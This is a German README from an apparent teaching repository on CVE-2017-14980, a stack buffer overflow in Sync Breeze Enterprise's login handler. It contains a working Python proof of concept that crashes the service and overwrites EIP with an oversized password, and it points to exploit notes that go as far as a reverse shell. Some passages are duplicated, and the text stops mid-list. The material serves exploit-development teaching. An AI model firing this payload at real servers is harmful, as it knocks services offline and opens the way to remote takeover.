themalwareguardian/cve-2017-14980Stapelbasierter Pufferüberlauf in Sync Breeze Enterprise 10.0.28, erreichbar über den /login-Handler, was zeigt, wie ungeprüfte Eingabelänge den Stapelspeicher beschädigen kann.
Stack-basierter Pufferüberlauf in Sync Breeze Enterprise 10.0.28, erreichbar über den /login-Handler, der zeigt, wie eine ungeprüfte Eingabelänge den Stapelspeicher beschädigen kann.
Dieses Repository ist Teil des Materials, das ich verwende, wenn ich Speicherkorruptions-Ausnutzung unterrichte (neben meiner regulären Arbeit unterrichte ich auch in verschiedenen Cybersicherheitskursen, in denen ich die nächste Generation von Reverse Engineers ausbilde).
CVE-2017-14980 ist ein Fall, den ich verwende, wenn Studenten eine gewöhnliche EIP-Überschreibung über HTTP erleben sollen, anstelle eines rohen TCP-Protokolls. Es sieht auf den ersten Blick einfach aus – ein Login-Formular, ein langes Passwort, ein Absturz –, aber der HTTP-Kontext führt eine Reihe von schädlichen Zeichen ein, die nicht sofort offensichtlich sind und die Studenten dazu zwingen, darüber nachzudenken, wie die Daten verarbeitet werden, bevor sie den verwundbaren Puffer erreichen. Zu verstehen, warum %, &, + und = hier schlechte Zeichen sind, erfordert das Verständnis der URL-Kodierung, was für sich genommen eine nützliche Lektion ist.
Sync Breeze Enterprise ist eine Windows-Dateisynchronisationsanwendung, die eine Weboberfläche zur Verwaltung bereitstellt. Die Schwachstelle liegt im Login-Handler, der das Passwortfeld in einen Stack-Puffer fester Größe kopiert, ohne die Länge zu prüfen. Was diesen Fall für den Unterricht nützlich macht:
Sync Breeze Enterprise ist ein Windows-Dateisynchronisierungstool, das einen integrierten Webserver zur Fernverwaltung enthält. Die Weboberfläche lauscht bei Aktivierung auf TCP-Port 80 und zeigt ein Login-Formular unter /login an. Die Schwachstelle befindet sich im POST-Handler, der das Passwortfeld verarbeitet.
Wichtige technische Details:
Sync Breeze verarbeitet das Login-Formular, indem es den POST-Body liest und das Passwortfeld extrahiert. Der Wert wird ohne Längenprüfung in einen Stack-Puffer fester Größe kopiert. Eine vereinfachte Version der verwundbaren Logik sieht wie folgt aus:
char password_buffer[256];
strcpy(password_buffer, password_field);
Der POST-Body wird vor dem Kopiervorgang URL-decodiert, was bedeutet, dass Zeichen wie %25 zu decodiertem % werden, bevor sie den Puffer erreichen. Aus diesem Grund wirken bestimmte URL-Sonderzeichen als schädliche Zeichen – sie werden von der HTTP-Ebene interpretiert, bevor die Daten die verwundbare Kopieroperation erreichen. Das Senden eines ausreichend langen Passwortwerts führt dazu, dass die Kopie über das Ende des Puffers hinaus schreibt und die gespeicherte Rücksprungadresse überschreibt. Wenn die Funktion zurückkehrt, lädt die CPU den attacker-kontrollierten Wert vom Stack in EIP und springt dorthin.
Der Absturz kann durch Senden eines überlangen Passworts in einer POST-Anfrage an /login reproduziert werden. Es ist keine Authentifizierung erforderlich. Beispiel mit Python:
import socket
HOST = '127.0.0.1'
PORT = 80
payload = b"A" * 600
body = b"username=admin&password=" + payload
request = (
b"POST /login HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Connection: close\r\n"
b"\r\n" +
body
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()
Bei Ausführung unter einem Debugger zeigt der Absturz ein mit vom Benutzer kontrollierten Daten überschriebenes EIP:
EIP = 41414141
was bestätigt, dass die gespeicherte Rücksprungadresse durch den Überlauf beschädigt wurde.
Das Ziel dieses Repositorys ist es nicht nur, den Absturz zu demonstrieren, sondern den vollständigen Ausnutzungsprozess Schritt für Schritt durchzugehen, vom Fuzzing bis zu einer funktionierenden Reverse Shell.
Um das Haupt-README sauber zu halten, befinden sich die detaillierten Ausnutzungsnotizen, Skripte und Debugger-Schritte im Ordner Vulnerability 📂 dieses Repositorys.
Dort finden Sie den vollständigen Workflow, der zur Ausnutzung dieser CVE verwendet wurde, einschließlich: